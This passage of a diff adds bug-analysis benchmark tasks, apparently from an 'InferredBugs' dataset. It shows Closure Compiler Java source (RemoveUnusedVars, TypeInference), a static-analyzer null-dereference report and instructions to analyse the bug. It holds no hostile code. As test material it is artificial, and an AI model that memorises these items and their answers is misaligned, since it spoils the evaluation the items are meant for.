+          tryRemoveArgFromCallSites(function, paramIndex, modifyAllCallSites);
+
+          // Remove an unused function parameter if all the call sites can
+          // be modified to remove it, or if it is the last parameter.
+          if (modifyAllCallSites || !hasFollowing) {
+            getFunctionArgList(function).removeChild(param);
+            compiler.reportCodeChange();
+            return hasFollowing;
+          }
+        }
+        return true;
+      } else {
+        // Anything past the last formal parameter can be removed from the call
+        // sites.
+        tryRemoveAllFollowingArgs(function, paramIndex-1);
+        return false;
+      }
+    }
+
+    /**
+     * Remove all references to a parameter, otherwise simplify the known
+     * references.
+     * @return Whether all the references were removed.
+     */
+    private boolean canRemoveArgFromCallSites(Node function, int argIndex) {
+      Definition definition = getFunctionDefinition(function);
+
+      // Check all the call sites.
+      for (UseSite site : defFinder.getUseSites(definition)) {
+        if (isModifableCallSite(site)) {
+          Node arg = NodeUtil.getArgumentForCallOrNew(
+              site.node.getParent(), argIndex);
+          // TODO(johnlenz): try to remove parameters with side-effects by
+          // decomposing the call expression.
+          if (arg != null && NodeUtil.mayHaveSideEffects(arg, compiler)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+
+      return true;
+    }
+
+    /**
+     * Remove all references to a parameter if possible otherwise simplify the
+     * side-effect free parameters.
+     */
+    private void tryRemoveArgFromCallSites(
+        Node function, int argIndex, boolean canModifyAllSites) {
+      Definition definition = getFunctionDefinition(function);
+
+      for (UseSite site : defFinder.getUseSites(definition)) {
+        if (isModifableCallSite(site)) {
+          Node arg = NodeUtil.getArgumentForCallOrNew(
+              site.node.getParent(), argIndex);
+          if (arg != null) {
+            Node argParent = arg.getParent();
+            // Even if we can't change the signature in general we can always
+            // remove an unused value off the end of the parameter list.
+            if (canModifyAllSites
+                || (arg.getNext() == null
+                    && !NodeUtil.mayHaveSideEffects(arg, compiler))) {
+              // Remove the arg completely
+              argParent.removeChild(arg);
+              compiler.reportCodeChange();
+            } else {
+              // replace the node in the arg with 0
+              if (!NodeUtil.mayHaveSideEffects(arg, compiler)
+                  && (arg.getType() != Token.NUMBER || arg.getDouble() != 0)) {
+                argParent.replaceChild(
+                    arg, Node.newNumber(0).copyInformationFrom(arg));
+                compiler.reportCodeChange();
+              }
+            }
+          }
+        }
+      }
+    }
+
+    /**
+     * Remove all the following parameters without side-effects
+     */
+    private void tryRemoveAllFollowingArgs(Node function, final int argIndex) {
+      Definition definition = getFunctionDefinition(function);
+      for (UseSite site : defFinder.getUseSites(definition)) {
+        if (!isModifableCallSite(site)) {
+          continue;
+        }
+
+        Node arg = NodeUtil.getArgumentForCallOrNew(
+            site.node.getParent(), argIndex);
+        while (arg != null) {
+          Node next = arg.getNext();
+          if (next != null && !NodeUtil.mayHaveSideEffects(next)) {
+            arg.getParent().removeChildAfter(arg);
+            compiler.reportCodeChange();
+          } else {
+            arg = next;
+          }
+        }
+      }
+    }
+
+    /**
+     * @param function
+     * @return Whether the callers to this function can be modified in any way.
+     */
+    boolean canModifyCallers(Node function) {
+      if (NodeUtil.isVarArgsFunction(function)) {
+        return false;
+      }
+
+      DefinitionSite defSite = defFinder.getDefinitionForFunction(function);
+      if (defSite == null) {
+        return false;
+      }
+
+      Definition definition = defSite.definition;
+
+      // Be conservative, don't try to optimize any declaration that isn't as
+      // simple function declaration or assignment.
+      if (!SimpleDefinitionFinder.isSimpleFunctionDeclaration(function)) {
+        return false;
+      }
+
+      // Assume an exported method result is used, and the definition might be
+      // changed.
+      if (SimpleDefinitionFinder.maybeExported(compiler, definition)) {
+        return false;
+      }
+
+      Collection<UseSite> useSites = defFinder.getUseSites(definition);
+      for (UseSite site : useSites) {
+        // Multiple definitions prevent rewrite.
+        // TODO(johnlenz): Allow rewrite all definitions are valid.
+        Node nameNode = site.node;
+        Collection<Definition> singleSiteDefinitions =
+            defFinder.getDefinitionsReferencedAt(nameNode);
+        if (singleSiteDefinitions.size() > 1) {
+          return false;
+        }
+        Preconditions.checkState(!singleSiteDefinitions.isEmpty());
+        Preconditions.checkState(singleSiteDefinitions.contains(definition));
+      }
+
+      return true;
+    }
+
+    /**
+     * @param site The site to inspect
+     * @return Whether the call site is suitable for modification
+     */
+    private static boolean isModifableCallSite(UseSite site) {
+      return SimpleDefinitionFinder.isCallOrNewSite(site)
+          && !NodeUtil.isFunctionObjectCallOrApply(site.node.getParent());
+    }
+
+    /**
+     * @return Whether the definitionSite represents a function whose call
+     *      signature can be modified.
+     */
+    private boolean canChangeSignature(Node function) {
+      Definition definition = getFunctionDefinition(function);
+
+      Preconditions.checkState(!definition.isExtern());
+
+      Collection<UseSite> useSites = defFinder.getUseSites(definition);
+      for (UseSite site : useSites) {
+        // Accessing the property directly prevents rewrite.
+        if (!SimpleDefinitionFinder.isCallOrNewSite(site)) {
+          return false;
+        }
+
+        // TODO(johnlenz): support .call signature changes.
+        if (NodeUtil.isFunctionObjectCallOrApply(site.node.getParent())) {
+          return false;
+        }
+
+        // TODO(johnlenz): support specialization
+
+        // Multiple definitions prevent rewrite.
+        // Attempt to validate the state of the simple definition finder.
+        Node nameNode = site.node;
+        Collection<Definition> singleSiteDefinitions =
+            defFinder.getDefinitionsReferencedAt(nameNode);
+        Preconditions.checkState(singleSiteDefinitions.size() == 1);
+        Preconditions.checkState(singleSiteDefinitions.contains(definition));
+      }
+
+      return true;
+    }
+
+    /**
+     * @param function
+     * @return the Definition object for the function.
+     */
+    private Definition getFunctionDefinition(Node function) {
+      DefinitionSite definitionSite = defFinder.getDefinitionForFunction(
+          function);
+      Preconditions.checkNotNull(definitionSite);
+      Definition definition = definitionSite.definition;
+      Preconditions.checkState(!definitionSite.inExterns);
+      Preconditions.checkState(definition.getRValue() == function);
+      return definition;
+    }
+  }
+
+
+  /**
+   * Look at all the property assigns to all variables.
+   * These may or may not count as references. For example,
+   *
+   * <code>
+   * var x = {};
+   * x.foo = 3; // not a reference.
+   * var y = foo();
+   * y.foo = 3; // is a reference.
+   * </code>
+   *
+   * Interpreting assigments could mark a variable as referenced that
+   * wasn't referenced before, in order to keep it alive. Because we find
+   * references by lazily traversing subtrees, marking a variable as
+   * referenced could trigger new traversals of new subtrees, which could
+   * find new references.
+   *
+   * Therefore, this interpretation needs to be run to a fixed point.
+   */
+  private void interpretAssigns() {
+    boolean changes = false;
+    do {
+      changes = false;
+
+      // We can't use traditional iterators and iterables for this list,
+      // because our lazily-evaluated continuations will modify it while
+      // we traverse it.
+      for (int current = 0; current < maybeUnreferenced.size(); current++) {
+        Var var = maybeUnreferenced.get(current);
+        if (referenced.contains(var)) {
+          maybeUnreferenced.remove(current);
+          current--;
+        } else {
+          boolean assignedToUnknownValue = false;
+          boolean hasPropertyAssign = false;
+
+          if (var.getParentNode().getType() == Token.VAR &&
+              !NodeUtil.isForIn(var.getParentNode().getParent())) {
+            Node value = var.getInitialValue();
+            assignedToUnknownValue = value != null &&
+                !NodeUtil.isLiteralValue(value, true);
+          } else {
+            // This was initialized to a function arg or a catch param
+            // or a for...in variable.
+            assignedToUnknownValue = true;
+          }
+
+          for (Assign assign : assignsByVar.get(var)) {
+            if (assign.isPropertyAssign) {
+              hasPropertyAssign = true;
+            } else if (!NodeUtil.isLiteralValue(
+                assign.assignNode.getLastChild(), true)) {
+              assignedToUnknownValue = true;
+            }
+          }
+
+          if (assignedToUnknownValue && hasPropertyAssign) {
+            changes = markReferencedVar(var) || changes;
+            maybeUnreferenced.remove(current);
+            current--;
+          }
+        }
+      }
+    } while (changes);
+  }
+
+  /**
+   * Remove all assigns to a var.
+   */
+  private void removeAllAssigns(Var var) {
+    for (Assign assign : assignsByVar.get(var)) {
+      assign.remove();
+      compiler.reportCodeChange();
+    }
+  }
+
+  /**
+   * Marks a var as referenced, recursing into any values of this var
+   * that we skipped.
+   * @return True if this variable had not been referenced before.
+   */
+  private boolean markReferencedVar(Var var) {
+    if (referenced.add(var)) {
+      for (Continuation c : continuations.get(var)) {
+        c.apply();
+      }
+      return true;
+    }
+    return false;
+  }
+
+  /**
+   * Removes any vars in the scope that were not referenced. Removes any
+   * assigments to those variables as well.
+   */
+  private void removeUnreferencedVars() {
+    CodingConvention convention = compiler.getCodingConvention();
+
+    for (Iterator<Var> it = maybeUnreferenced.iterator(); it.hasNext(); ) {
+      Var var = it.next();
+
+      // Regardless of what happens to the original declaration,
+      // we need to remove all assigns, because they may contain references
+      // to other unreferenced variables.
+      removeAllAssigns(var);
+
+      compiler.addToDebugLog("Unreferenced var: " + var.name);
+      Node nameNode = var.nameNode;
+      Node toRemove = nameNode.getParent();
+      Node parent = toRemove.getParent();
+
+      Preconditions.checkState(
+          toRemove.getType() == Token.VAR ||
+          toRemove.getType() == Token.FUNCTION ||
+          toRemove.getType() == Token.LP &&
+          parent.getType() == Token.FUNCTION,
+          "We should only declare vars and functions and function args");
+
+      if (toRemove.getType() == Token.LP &&
+          parent.getType() == Token.FUNCTION) {
+        // Don't remove function arguments here. That's a special case
+        // that's taken care of in removeUnreferencedFunctionArgs.
+      } else if (NodeUtil.isFunctionExpression(toRemove)) {
+        if (!preserveFunctionExpressionNames) {
+          toRemove.getFirstChild().setString("");
+          compiler.reportCodeChange();
+        }
+        // Don't remove bleeding functions.
+      } else if (parent != null &&
+          parent.getType() == Token.FOR &&
+          parent.getChildCount() < 4) {
+        // foreach iterations have 3 children. Leave them alone.
+      } else if (toRemove.getType() == Token.VAR &&
+          nameNode.hasChildren() &&
+          NodeUtil.mayHaveSideEffects(nameNode.getFirstChild())) {
+        // If this is a single var declaration, we can at least remove the
+        // declaration itself and just leave the value, e.g.,
+        // var a = foo(); => foo();
+        if (toRemove.getChildCount() == 1) {
+          parent.replaceChild(toRemove,
+              new Node(Token.EXPR_RESULT, nameNode.removeFirstChild()));
+          compiler.reportCodeChange();
+        }
+      } else if (toRemove.getType() == Token.VAR &&
+          toRemove.getChildCount() > 1) {
+        // For var declarations with multiple names (i.e. var a, b, c),
+        // only remove the unreferenced name
+        toRemove.removeChild(nameNode);
+        compiler.reportCodeChange();
+      } else if (parent != null) {
+        NodeUtil.removeChild(parent, toRemove);
+        compiler.reportCodeChange();
+      }
+    }
+  }
+
+  /**
+   * Our progress in a traversal can be expressed completely as the
+   * current node and scope. The continuation lets us save that
+   * information so that we can continue the traversal later.
+   */
+  private class Continuation {
+    private final Node node;
+    private final Scope scope;
+
+    Continuation(Node node, Scope scope) {
+      this.node = node;
+      this.scope = scope;
+    }
+
+    void apply() {
+      if (NodeUtil.isFunctionDeclaration(node)) {
+        traverseFunction(node, scope);
+      } else {
+        for (Node child = node.getFirstChild();
+             child != null; child = child.getNext()) {
+          traverseNode(child, node, scope);
+        }
+      }
+    }
+  }
+
+  private static class Assign {
+
+    final Node assignNode;
+
+    final Node nameNode;
+
+    // If false, then this is an assign to the normal variable. Otherwise,
+    // this is an assign to a property of that variable.
+    final boolean isPropertyAssign;
+
+    // Secondary side effects are any side effects in this assign statement
+    // that aren't caused by the assignment operation itself. For example,
+    // a().b = 3;
+    // a = b();
+    // var foo = (a = b);
+    // In the first two cases, the sides of the assignment have side-effects.
+    // In the last one, the result of the assignment is used, so we
+    // are conservative and assume that it may be used in a side-effecting
+    // way.
+    final boolean mayHaveSecondarySideEffects;
+
+    Assign(Node assignNode, Node nameNode, boolean isPropertyAssign) {
+      Preconditions.checkState(NodeUtil.isAssignmentOp(assignNode));
+      this.assignNode = assignNode;
+      this.nameNode = nameNode;
+      this.isPropertyAssign = isPropertyAssign;
+
+      this.mayHaveSecondarySideEffects =
+          assignNode.getParent().getType() != Token.EXPR_RESULT ||
+          NodeUtil.mayHaveSideEffects(assignNode.getFirstChild()) ||
+          NodeUtil.mayHaveSideEffects(assignNode.getLastChild());
+    }
+
+    /**
+     * If this is an assign to a variable or its property, return it.
+     * Otherwise, return null.
+     */
+    static Assign maybeCreateAssign(Node assignNode) {
+      Preconditions.checkState(NodeUtil.isAssignmentOp(assignNode));
+
+      // Skip one level of GETPROPs or GETELEMs.
+      //
+      // Don't skip more than one level, because then we get into
+      // situations where assigns to properties of properties will always
+      // trigger side-effects, and the variable they're on cannot be removed.
+      boolean isPropAssign = false;
+      Node current = assignNode.getFirstChild();
+      if (NodeUtil.isGet(current)) {
+        current = current.getFirstChild();
+        isPropAssign = true;
+
+        if (current.getType() == Token.GETPROP &&
+            current.getLastChild().getString().equals("prototype")) {
+          // Prototype properties sets should be considered like normal
+          // property sets.
+          current = current.getFirstChild();
+        }
+      }
+
+      if (current.getType() == Token.NAME) {
+        return new Assign(assignNode, current, isPropAssign);
+      }
+      return null;
+    }
+
+    /**
+     * Replace the current assign with its right hand side.
+     */
+    void remove() {
+      Node parent = assignNode.getParent();
+      if (mayHaveSecondarySideEffects) {
+        Node replacement = assignNode.getLastChild().detachFromParent();
+
+        // Aggregate any expressions in GETELEMs.
+        for (Node current = assignNode.getFirstChild();
+             current.getType() != Token.NAME;
+             current = current.getFirstChild()) {
+          if (current.getType() == Token.GETELEM) {
+            replacement = new Node(Token.COMMA,
+                current.getLastChild().detachFromParent(), replacement);
+            replacement.copyInformationFrom(current);
+          }
+        }
+
+        parent.replaceChild(assignNode, replacement);
+      } else {
+        Node gramps = parent.getParent();
+        if (parent.getType() == Token.EXPR_RESULT) {
+          gramps.removeChild(parent);
+        } else {
+          parent.replaceChild(assignNode,
+              assignNode.getLastChild().detachFromParent());
+        }
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `parent` last assigned on line 730 could be null and is dereferenced at line 760.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RemoveUnusedVars.removeUnreferencedVars()
+
+### Procedure Id:
+com.google.javascript.jscomp.RemoveUnusedVars.removeUnreferencedVars():void.955d4e9c3ab0608ebdb7a60c206cdc29
+
+### File:
+src/com/google/javascript/jscomp/RemoveUnusedVars.java
+
+### Key:
+RemoveUnusedVars.java|removeUnreferencedVars|NULL_DEREFERENCE
+
+### Node Key:
+8bfebb9a249ca4c3a24ae6f32a1e6583
+
+### Hash:
+b8404dbe81829f7a8c153c6673bd5f67
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5212/instruction.md b/inferredbugs-5212/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..69927f92d9b521e73f97df80c44b4c627f99915c
--- /dev/null
+++ b/inferredbugs-5212/instruction.md
@@ -0,0 +1,1653 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-compiler
+**Bug ID:** 41
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 The Closure Compiler Authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.javascript.jscomp;
+
+import static com.google.javascript.rhino.jstype.JSTypeNative.ARRAY_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.BOOLEAN_OBJECT_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.BOOLEAN_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.CHECKED_UNKNOWN_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.NULL_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.NUMBER_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.NUMBER_VALUE_OR_OBJECT_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.STRING_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.UNKNOWN_TYPE;
+import static com.google.javascript.rhino.jstype.JSTypeNative.VOID_TYPE;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.javascript.jscomp.CodingConvention.AssertionFunctionSpec;
+import com.google.javascript.jscomp.ControlFlowGraph.Branch;
+import com.google.javascript.jscomp.Scope.Var;
+import com.google.javascript.jscomp.graph.DiGraph.DiGraphEdge;
+import com.google.javascript.jscomp.type.FlowScope;
+import com.google.javascript.jscomp.type.ReverseAbstractInterpreter;
+import com.google.javascript.rhino.JSDocInfo;
+import com.google.javascript.rhino.Node;
+import com.google.javascript.rhino.Token;
+import com.google.javascript.rhino.jstype.BooleanLiteralSet;
+import com.google.javascript.rhino.jstype.FunctionType;
+import com.google.javascript.rhino.jstype.JSType;
+import com.google.javascript.rhino.jstype.JSTypeNative;
+import com.google.javascript.rhino.jstype.JSTypeRegistry;
+import com.google.javascript.rhino.jstype.ModificationVisitor;
+import com.google.javascript.rhino.jstype.ObjectType;
+import com.google.javascript.rhino.jstype.TemplateTypeMap;
+import com.google.javascript.rhino.jstype.StaticSlot;
+import com.google.javascript.rhino.jstype.TemplateType;
+import com.google.javascript.rhino.jstype.UnionType;
+
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Type inference within a script node or a function body, using the data-flow
+ * analysis framework.
+ *
+ */
+class TypeInference
+    extends DataFlowAnalysis.BranchedForwardDataFlowAnalysis<Node, FlowScope> {
+
+  // TODO(johnlenz): We no longer make this check, but we should.
+  static final DiagnosticType FUNCTION_LITERAL_UNDEFINED_THIS =
+    DiagnosticType.warning(
+        "JSC_FUNCTION_LITERAL_UNDEFINED_THIS",
+        "Function literal argument refers to undefined this argument");
+
+  private final AbstractCompiler compiler;
+  private final JSTypeRegistry registry;
+  private final ReverseAbstractInterpreter reverseInterpreter;
+  private final Scope syntacticScope;
+  private final FlowScope functionScope;
+  private final FlowScope bottomScope;
+  private final Map<String, AssertionFunctionSpec> assertionFunctionsMap;
+
+  // For convenience
+  private final ObjectType unknownType;
+
+  TypeInference(AbstractCompiler compiler, ControlFlowGraph<Node> cfg,
+                ReverseAbstractInterpreter reverseInterpreter,
+                Scope functionScope,
+                Map<String, AssertionFunctionSpec> assertionFunctionsMap) {
+    super(cfg, new LinkedFlowScope.FlowScopeJoinOp());
+    this.compiler = compiler;
+    this.registry = compiler.getTypeRegistry();
+    this.reverseInterpreter = reverseInterpreter;
+    this.unknownType = registry.getNativeObjectType(UNKNOWN_TYPE);
+
+    this.syntacticScope = functionScope;
+    inferArguments(functionScope);
+
+    this.functionScope = LinkedFlowScope.createEntryLattice(functionScope);
+    this.assertionFunctionsMap = assertionFunctionsMap;
+
+    // For each local variable declared with the VAR keyword, the entry
+    // type is VOID.
+    Iterator<Var> varIt =
+        functionScope.getDeclarativelyUnboundVarsWithoutTypes();
+    while (varIt.hasNext()) {
+      Var var = varIt.next();
+      if (isUnflowable(var)) {
+        continue;
+      }
+
+      this.functionScope.inferSlotType(
+          var.getName(), getNativeType(VOID_TYPE));
+    }
+
+    this.bottomScope = LinkedFlowScope.createEntryLattice(
+        Scope.createLatticeBottom(functionScope.getRootNode()));
+  }
+
+  /**
+   * Infers all of a function's arguments if their types aren't declared.
+   */
+  private void inferArguments(Scope functionScope) {
+    Node functionNode = functionScope.getRootNode();
+    Node astParameters = functionNode.getFirstChild().getNext();
+    Node iifeArgumentNode = null;
+
+    if (NodeUtil.isCallOrNewTarget(functionNode)) {
+      iifeArgumentNode = functionNode.getNext();
+    }
+
+    FunctionType functionType =
+        JSType.toMaybeFunctionType(functionNode.getJSType());
+    if (functionType != null) {
+      Node parameterTypes = functionType.getParametersNode();
+      if (parameterTypes != null) {
+        Node parameterTypeNode = parameterTypes.getFirstChild();
+        for (Node astParameter : astParameters.children()) {
+          Var var = functionScope.getVar(astParameter.getString());
+          Preconditions.checkNotNull(var);
+          if (var.isTypeInferred() &&
+              var.getType() == unknownType) {
+            JSType newType = null;
+
+            if (iifeArgumentNode != null) {
+              newType = iifeArgumentNode.getJSType();
+            } else if (parameterTypeNode != null) {
+              newType = parameterTypeNode.getJSType();
+            }
+
+            if (newType != null) {
+              var.setType(newType);
+              astParameter.setJSType(newType);
+            }
+          }
+
+          if (parameterTypeNode != null) {
+            parameterTypeNode = parameterTypeNode.getNext();
+          }
+          if (iifeArgumentNode != null) {
+            iifeArgumentNode = iifeArgumentNode.getNext();
+          }
+        }
+      }
+    }
+  }
+
+  @Override
+  FlowScope createInitialEstimateLattice() {
+    return bottomScope;
+  }
+
+  @Override
+  FlowScope createEntryLattice() {
+    return functionScope;
+  }
+
+  @Override
+  FlowScope flowThrough(Node n, FlowScope input) {
+    // If we have not walked a path from <entry> to <n>, then we don't
+    // want to infer anything about this scope.
+    if (input == bottomScope) {
+      return input;
+    }
+
+    FlowScope output = input.createChildFlowScope();
+    output = traverse(n, output);
+    return output;
+  }
+
+  @Override
+  @SuppressWarnings({"fallthrough", "incomplete-switch"})
+  List<FlowScope> branchedFlowThrough(Node source, FlowScope input) {
+    // NOTE(nicksantos): Right now, we just treat ON_EX edges like UNCOND
+    // edges. If we wanted to be perfect, we'd actually JOIN all the out
+    // lattices of this flow with the in lattice, and then make that the out
+    // lattice for the ON_EX edge. But it's probably too expensive to be
+    // worthwhile.
+    FlowScope output = flowThrough(source, input);
+    Node condition = null;
+    FlowScope conditionFlowScope = null;
+    BooleanOutcomePair conditionOutcomes = null;
+
+    List<DiGraphEdge<Node, Branch>> branchEdges = getCfg().getOutEdges(source);
+    List<FlowScope> result = Lists.newArrayListWithCapacity(branchEdges.size());
+    for (DiGraphEdge<Node, Branch> branchEdge : branchEdges) {
+      Branch branch = branchEdge.getValue();
+      FlowScope newScope = output;
+
+      switch (branch) {
+        case ON_TRUE:
+          if (NodeUtil.isForIn(source)) {
+            // item is assigned a property name, so its type should be string.
+            Node item = source.getFirstChild();
+            Node obj = item.getNext();
+
+            FlowScope informed = traverse(obj, output.createChildFlowScope());
+
+            if (item.isVar()) {
+              item = item.getFirstChild();
+            }
+            if (item.isName()) {
+              JSType iterKeyType = getNativeType(STRING_TYPE);
+              ObjectType objType = getJSType(obj).dereference();
+              JSType objIndexType = objType == null ?
+                  null : objType.getTemplateTypeMap().getTemplateType(
+                      registry.getObjectIndexKey());
+              if (objIndexType != null && !objIndexType.isUnknownType()) {
+                JSType narrowedKeyType =
+                    iterKeyType.getGreatestSubtype(objIndexType);
+                if (!narrowedKeyType.isEmptyType()) {
+                  iterKeyType = narrowedKeyType;
+                }
+              }
+              redeclareSimpleVar(informed, item, iterKeyType);
+            }
+            newScope = informed;
+            break;
+          }
+
+          // FALL THROUGH
+
+        case ON_FALSE:
+          if (condition == null) {
+            condition = NodeUtil.getConditionExpression(source);
+            if (condition == null && source.isCase()) {
+              condition = source;
+
+              // conditionFlowScope is cached from previous iterations
+              // of the loop.
+              if (conditionFlowScope == null) {
+                conditionFlowScope = traverse(
+                    condition.getFirstChild(), output.createChildFlowScope());
+              }
+            }
+          }
+
+          if (condition != null) {
+            if (condition.isAnd() ||
+                condition.isOr()) {
+              // When handling the short-circuiting binary operators,
+              // the outcome scope on true can be different than the outcome
+              // scope on false.
+              //
+              // TODO(nicksantos): The "right" way to do this is to
+              // carry the known outcome all the way through the
+              // recursive traversal, so that we can construct a
+              // different flow scope based on the outcome. However,
+              // this would require a bunch of code and a bunch of
+              // extra computation for an edge case. This seems to be
+              // a "good enough" approximation.
+
+              // conditionOutcomes is cached from previous iterations
+              // of the loop.
+              if (conditionOutcomes == null) {
+                conditionOutcomes = condition.isAnd() ?
+                    traverseAnd(condition, output.createChildFlowScope()) :
+                    traverseOr(condition, output.createChildFlowScope());
+              }
+              newScope =
+                  reverseInterpreter.getPreciserScopeKnowingConditionOutcome(
+                      condition,
+                      conditionOutcomes.getOutcomeFlowScope(
+                          condition.getType(), branch == Branch.ON_TRUE),
+                      branch == Branch.ON_TRUE);
+            } else {
+              // conditionFlowScope is cached from previous iterations
+              // of the loop.
+              if (conditionFlowScope == null) {
+                conditionFlowScope =
+                    traverse(condition, output.createChildFlowScope());
+              }
+              newScope =
+                  reverseInterpreter.getPreciserScopeKnowingConditionOutcome(
+                      condition, conditionFlowScope, branch == Branch.ON_TRUE);
+            }
+          }
+          break;
+      }
+
+      result.add(newScope.optimize());
+    }
+    return result;
+  }
+
+  private FlowScope traverse(Node n, FlowScope scope) {
+    switch (n.getType()) {
+      case Token.ASSIGN:
+        scope = traverseAssign(n, scope);
+        break;
+
+      case Token.NAME:
+        scope = traverseName(n, scope);
+        break;
+
+      case Token.GETPROP:
+        scope = traverseGetProp(n, scope);
+        break;
+
+      case Token.AND:
+        scope = traverseAnd(n, scope).getJoinedFlowScope()
+            .createChildFlowScope();
+        break;
+
+      case Token.OR:
+        scope = traverseOr(n, scope).getJoinedFlowScope()
+            .createChildFlowScope();
+        break;
+
+      case Token.HOOK:
+        scope = traverseHook(n, scope);
+        break;
+
+      case Token.OBJECTLIT:
+        scope = traverseObjectLiteral(n, scope);
+        break;
+
+      case Token.CALL:
+        scope = traverseCall(n, scope);
+        break;
+
+      case Token.NEW:
+        scope = traverseNew(n, scope);
+        break;
+
+      case Token.ASSIGN_ADD:
+      case Token.ADD:
+        scope = traverseAdd(n, scope);
+        break;
+
+      case Token.POS:
+      case Token.NEG:
+        scope = traverse(n.getFirstChild(), scope);  // Find types.
+        n.setJSType(getNativeType(NUMBER_TYPE));
+        break;
+
+      case Token.ARRAYLIT:
+        scope = traverseArrayLiteral(n, scope);
+        break;
+
+      case Token.THIS:
+        n.setJSType(scope.getTypeOfThis());
+        break;
+
+      case Token.ASSIGN_LSH:
+      case Token.ASSIGN_RSH:
+      case Token.LSH:
+      case Token.RSH:
+      case Token.ASSIGN_URSH:
+      case Token.URSH:
+      case Token.ASSIGN_DIV:
+      case Token.ASSIGN_MOD:
+      case Token.ASSIGN_BITAND:
+      case Token.ASSIGN_BITXOR:
+      case Token.ASSIGN_BITOR:
+      case Token.ASSIGN_MUL:
+      case Token.ASSIGN_SUB:
+      case Token.DIV:
+      case Token.MOD:
+      case Token.BITAND:
+      case Token.BITXOR:
+      case Token.BITOR:
+      case Token.MUL:
+      case Token.SUB:
+      case Token.DEC:
+      case Token.INC:
+      case Token.BITNOT:
+        scope = traverseChildren(n, scope);
+        n.setJSType(getNativeType(NUMBER_TYPE));
+        break;
+
+      case Token.PARAM_LIST:
+        scope = traverse(n.getFirstChild(), scope);
+        n.setJSType(getJSType(n.getFirstChild()));
+        break;
+
+      case Token.COMMA:
+        scope = traverseChildren(n, scope);
+        n.setJSType(getJSType(n.getLastChild()));
+        break;
+
+      case Token.TYPEOF:
+        scope = traverseChildren(n, scope);
+        n.setJSType(getNativeType(STRING_TYPE));
+        break;
+
+      case Token.DELPROP:
+      case Token.LT:
+      case Token.LE:
+      case Token.GT:
+      case Token.GE:
+      case Token.NOT:
+      case Token.EQ:
+      case Token.NE:
+      case Token.SHEQ:
+      case Token.SHNE:
+      case Token.INSTANCEOF:
+      case Token.IN:
+        scope = traverseChildren(n, scope);
+        n.setJSType(getNativeType(BOOLEAN_TYPE));
+        break;
+
+      case Token.GETELEM:
+        scope = traverseGetElem(n, scope);
+        break;
+
+      case Token.EXPR_RESULT:
+        scope = traverseChildren(n, scope);
+        if (n.getFirstChild().isGetProp()) {
+          ensurePropertyDeclared(n.getFirstChild());
+        }
+        break;
+
+      case Token.SWITCH:
+        scope = traverse(n.getFirstChild(), scope);
+        break;
+
+      case Token.RETURN:
+        scope = traverseReturn(n, scope);
+        break;
+
+      case Token.VAR:
+      case Token.THROW:
+        scope = traverseChildren(n, scope);
+        break;
+
+      case Token.CATCH:
+        scope = traverseCatch(n, scope);
+        break;
+
+      case Token.CAST:
+        scope = traverseChildren(n, scope);
+        break;
+    }
+
+    // TODO(johnlenz): remove this after the CAST node change has shaken out.
+    if (!n.isFunction()) {
+      JSDocInfo info = n.getJSDocInfo();
+      if (info != null && info.hasType()) {
+        JSType castType = info.getType().evaluate(syntacticScope, registry);
+
+        // A stubbed type declaration on a qualified name should take
+        // effect for all subsequent accesses of that name,
+        // so treat it the same as an assign to that name.
+        if (n.isQualifiedName() &&
+            n.getParent().isExprResult()) {
+          updateScopeForTypeChange(scope, n, n.getJSType(), castType);
+        }
+
+        n.setJSType(castType);
+      }
+    }
+
+    return scope;
+  }
+
+  /**
+   * Traverse a return value.
+   */
+  private FlowScope traverseReturn(Node n, FlowScope scope) {
+    scope = traverseChildren(n, scope);
+
+    Node retValue = n.getFirstChild();
+    if (retValue != null) {
+      JSType type = functionScope.getRootNode().getJSType();
+      if (type != null) {
+        FunctionType fnType = type.toMaybeFunctionType();
+        if (fnType != null) {
+          inferPropertyTypesToMatchConstraint(
+              retValue.getJSType(), fnType.getReturnType());
+        }
+      }
+    }
+    return scope;
+  }
+
+  /**
+   * Any value can be thrown, so it's really impossible to determine the type
+   * of a CATCH param. Treat it as the UNKNOWN type.
+   */
+  private FlowScope traverseCatch(Node catchNode, FlowScope scope) {
+    Node name = catchNode.getFirstChild();
+    JSType type;
+    // If the catch expression name was declared in the catch use that type,
+    // otherwise use "unknown".
